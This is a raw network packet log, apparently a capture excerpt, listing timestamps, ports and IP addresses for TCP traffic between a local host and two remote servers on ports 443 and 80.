Dec 20, 2024 09:12:57.451236963 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.451248884 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.457447052 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.457469940 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.457510948 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.457520008 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.457551956 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.457566977 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.602046967 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.602073908 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.602121115 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.602139950 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.602155924 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.604990959 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.607549906 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.607620001 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.607625008 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.607635021 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.607650042 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:57.607666969 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.607690096 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.617408037 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:57.847461939 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:57.847492933 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:57.847507000 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:57.847526073 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:57.847558022 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:57.847595930 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:57.847609043 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:57.847625971 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:57.847650051 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:57.847664118 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:57.847675085 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:57.847697973 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:57.847734928 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:57.847743988 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:57.847769022 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:57.847868919 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:57.847908974 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:57.967566967 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:57.967639923 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:57.967758894 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:57.967812061 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:57.971502066 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:57.971596003 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:57.971666098 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.039693117 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.039755106 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.039863110 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.039912939 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.043914080 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.043971062 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.044006109 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.044065952 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.052272081 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.052320004 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.055335999 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.055401087 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.055567980 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.055623055 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.063771009 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.063832045 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.063874006 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.063918114 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.072308064 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.072351933 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.072391987 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.072464943 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.080653906 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.080707073 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.080741882 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.080789089 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.089013100 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.089059114 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.089102983 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.089158058 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.097527981 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.097587109 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.097651958 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.097755909 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.105849981 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.105909109 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.105935097 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.105979919 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.113480091 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.113606930 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.113673925 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.121241093 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.121304989 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.121556044 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.121876001 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.128755093 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.128803968 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.232032061 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.232112885 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.232161999 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.232203960 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.234313965 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.234359026 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.234421015 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.234462976 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.238857031 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.238977909 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.238985062 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.239087105 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.243385077 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.243432999 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.243534088 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.243581057 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.247998953 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.248066902 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.248099089 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.248285055 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.252531052 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.252580881 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.252618074 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.252679110 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.257091045 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.257163048 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.257188082 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.257230997 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.261639118 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.261682987 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.261748075 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.261787891 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.266165018 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.266273975 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.266284943 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.266340017 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.270752907 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.270840883 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.270906925 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.275331020 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.275392056 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.275470972 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.275515079 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.279839993 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.279901028 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.279941082 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.280003071 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.284395933 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.284481049 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.284523010 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.284570932 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.288995028 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.289120913 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.289205074 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.293493986 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.293586969 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.293629885 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.293735027 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.298059940 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.298145056 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.298212051 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.302623987 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.302695036 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.302743912 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.302772999 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.307193041 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.307298899 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.307430029 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.307482004 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.311728001 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.311850071 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.311964035 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.316308022 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.316373110 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.316452980 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.316567898 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.320828915 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.320913076 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.320971966 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.321634054 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.325396061 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.325490952 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.325501919 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.325627089 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.329968929 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.330085039 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.330224037 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.334454060 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.334603071 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.424206018 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.424246073 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.424339056 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.425254107 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.425307989 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.425338030 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.425390959 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.427362919 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.427469015 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.427499056 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.427556992 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.430947065 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.431056023 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.431116104 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.434560061 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.434685946 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.434686899 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.434752941 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.438051939 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.438154936 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.438183069 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.438287020 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.441494942 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.441570997 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.441730022 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.441777945 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.444879055 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.445024967 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.445053101 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.445081949 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.448149920 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.448235989 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.448276997 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.448666096 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.451452017 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.451531887 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.451663017 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.451756954 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.454555988 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.454629898 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.454665899 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.454773903 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.457750082 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.457880020 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.457890987 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.458045006 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.460757971 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.460891962 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.460967064 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.463886023 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.463948965 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.463984013 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.464196920 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.466926098 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.467016935 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.467046976 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.467104912 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.469974041 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.470098972 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.470143080 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.470192909 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.473017931 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.473086119 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.473176956 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.473558903 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.476094961 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.476234913 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.476315022 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.476357937 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.479159117 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.479266882 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.479335070 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.482227087 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.482287884 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.482322931 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.482393980 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.485301018 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.485434055 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.485455990 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.485483885 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.488357067 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.488468885 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.488640070 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.491543055 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.491561890 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.491617918 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.494474888 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.494586945 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.494774103 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.497567892 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.497642040 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.497659922 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.497704029 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.500586987 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.500705004 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.500726938 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.500792980 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.503706932 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.503796101 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.503835917 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.503900051 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.506726027 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.506784916 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.506850958 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.506913900 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.509777069 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.509823084 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.509882927 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.509927988 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.512851000 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.512914896 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.512959003 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.513001919 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.515964985 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.516061068 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.516081095 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.516127110 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.518974066 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.519032955 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.519074917 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.519134998 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.522033930 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.522144079 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.522216082 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.522320032 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.525078058 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.525171041 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.616657019 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.616683960 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.616745949 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.616745949 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.617649078 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.617682934 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.617734909 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.617734909 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.619913101 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.619987011 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.620774031 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.620887041 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.620929003 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.623145103 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.623203039 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.623259068 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.623259068 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.625432014 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.625619888 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.625644922 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.625677109 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.627705097 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.627795935 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.627810001 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.627870083 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.629894972 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.630017996 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.630039930 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.630059958 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.632179976 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.632316113 CET	80	49899	31.41.244.11	192.168.2.4
